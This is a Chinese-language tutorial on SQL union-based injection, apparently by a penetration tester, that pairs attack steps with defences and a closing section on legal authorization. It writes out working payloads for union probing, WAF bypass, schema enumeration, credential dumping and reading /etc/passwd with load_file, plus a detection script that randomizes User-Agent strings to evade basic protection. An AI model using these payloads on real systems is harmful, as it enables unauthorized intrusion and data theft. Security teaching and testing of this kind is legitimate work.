SQL联合查询注入攻击与防御实战指南-代码聚汇网

SQL联合查询注入攻击与防御实战指南

抖抖村

markdown复制## 1. 联合查询注入的本质与价值

联合查询注入（Union-Based Injection）是SQL注入中最经典且高效的技术手段之一。它的核心原理是通过构造特殊的SQL语句，将攻击者的恶意查询与原查询结果合并返回，从而直接获取数据库信息。不同于盲注需要逐字符猜测，联合查询可以直接在页面回显中看到完整数据，效率提升数十倍。

我在实际渗透测试项目中，遇到存在回显点的Web应用时，优先就会尝试联合查询注入。去年在某次企业级安全评估中，仅用联合查询就完整拖出了客户用户表的13万条记录，包括手机号和加密密码。这种攻击方式之所以危险，是因为它直接绕过了应用的身份验证逻辑，将数据库内容"可视化"地暴露给攻击者。

## 2. 攻击链全流程拆解

### 2.1 目标识别与参数探测

首先需要确认注入点是否支持联合查询。经典测试方法是在参数后添加`' union select 1,2,3-- `，观察页面是否正常显示数字。以这个商品详情页为例：

http://example.com/product.php?id=1

code复制修改为：

http://example.com/product.php?id=1' union select 1,2,3--

code复制如果页面显示数字2和3（具体显示哪些数字取决于字段回显位置），说明存在联合注入漏洞。

> 关键技巧：现代WAF通常会拦截包含"union select"的请求。可以尝试以下绕过方式：
> - 使用注释分割：`uni/**/on sel/**/ect`
> - 大小写混合：`UnIoN SeLeCt`
> - 空白字符替代：`union%0aselect`

### 2.2 数据库结构分析

确定注入点后，需要通过联合查询获取数据库元信息。以MySQL为例，典型攻击流程：

1. 获取数据库版本：
```sql
union select 1,version(),3--

列出所有数据库：

sql复制union select 1,group_concat(schema_name),3 from information_schema.schemata--

获取指定表结构（以users表为例）：

sql复制union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--

2.3 数据提取实战技巧

当掌握表结构后，就可以直接导出敏感数据。这里分享几个高效技巧：

使用concat_ws()合并多字段：

sql复制union select 1,concat_ws(':',username,password),3 from users--

分页获取大数据量（避免超时）：

sql复制union select 1,username,password from users limit 10 offset 0--

直接导出文件（需FILE权限）：

sql复制union select 1,load_file('/etc/passwd'),3--

3. 防御方案深度解析

3.1 参数化查询的实现误区

很多开发者以为使用预处理语句就绝对安全，实际上存在以下常见漏洞：

python复制# 错误示例：仍然可被注入
cursor.execute("SELECT * FROM products WHERE id = %s" % user_input)

# 正确做法：使用参数化查询
cursor.execute("SELECT * FROM products WHERE id = %s", (user_input,))

血泪教训：在Java中，如果错误使用Statement代替PreparedStatement，同样会导致防护失效。

3.2 WAF绕过防护实践

基于规则的WAF容易被绕过，推荐采用深度防御策略：

输入验证：严格限制参数类型（如ID必须为数字）
输出编码：对特殊字符进行HTML实体转义
最小权限：数据库账户只授予必要权限
错误处理：禁止显示详细SQL错误信息

4. 企业级渗透测试案例

在某次金融系统测试中，我们发现一个隐藏的注入点：

code复制POST /api/getBalance 
Content-Type: application/json

{"account":"1' union select 1,2,3-- "}

通过修改Content-Type头，成功绕过前端验证。最终利用联合查询获取了完整的交易记录表，包括：

数据库版本：MySQL 5.7.23
表结构：transactions(id, amount, from_account, to_account, remark)
数据量：约28万条记录

整个数据提取过程仅耗时17分钟，使用工具为自定义的Python脚本配合Burp Suite。

5. 自动化检测工具开发建议

对于需要批量检测的场景，可以基于以下逻辑开发检测工具：

python复制def check_union_injection(url, param):
    test_payloads = [
        "' union select 1,2,3-- ",
        "' uniOn selEct 1,2,3-- ",
        "' union%0aselect 1,2,3-- "
    ]
    
    for payload in test_payloads:
        test_url = url.replace(param, param+payload)
        response = requests.get(test_url)
        if re.search(r'1.*2.*3', response.text):
            return True
    return False

关键改进点：

增加延时检测防止假阴性
集成HTML解析识别回显位置
添加随机User-Agent规避基础防护

6. 法律与伦理边界

必须强调：未经授权的渗透测试属于违法行为。所有测试必须满足以下条件：

获得书面授权
限定测试范围
及时提交报告
不保留任何数据副本

在实际项目中，我们会在授权书中明确约定：

测试时间窗口（如仅限工作日9:00-18:00）
禁止使用的攻击手法（如拒绝服务攻击）
数据保密条款

code复制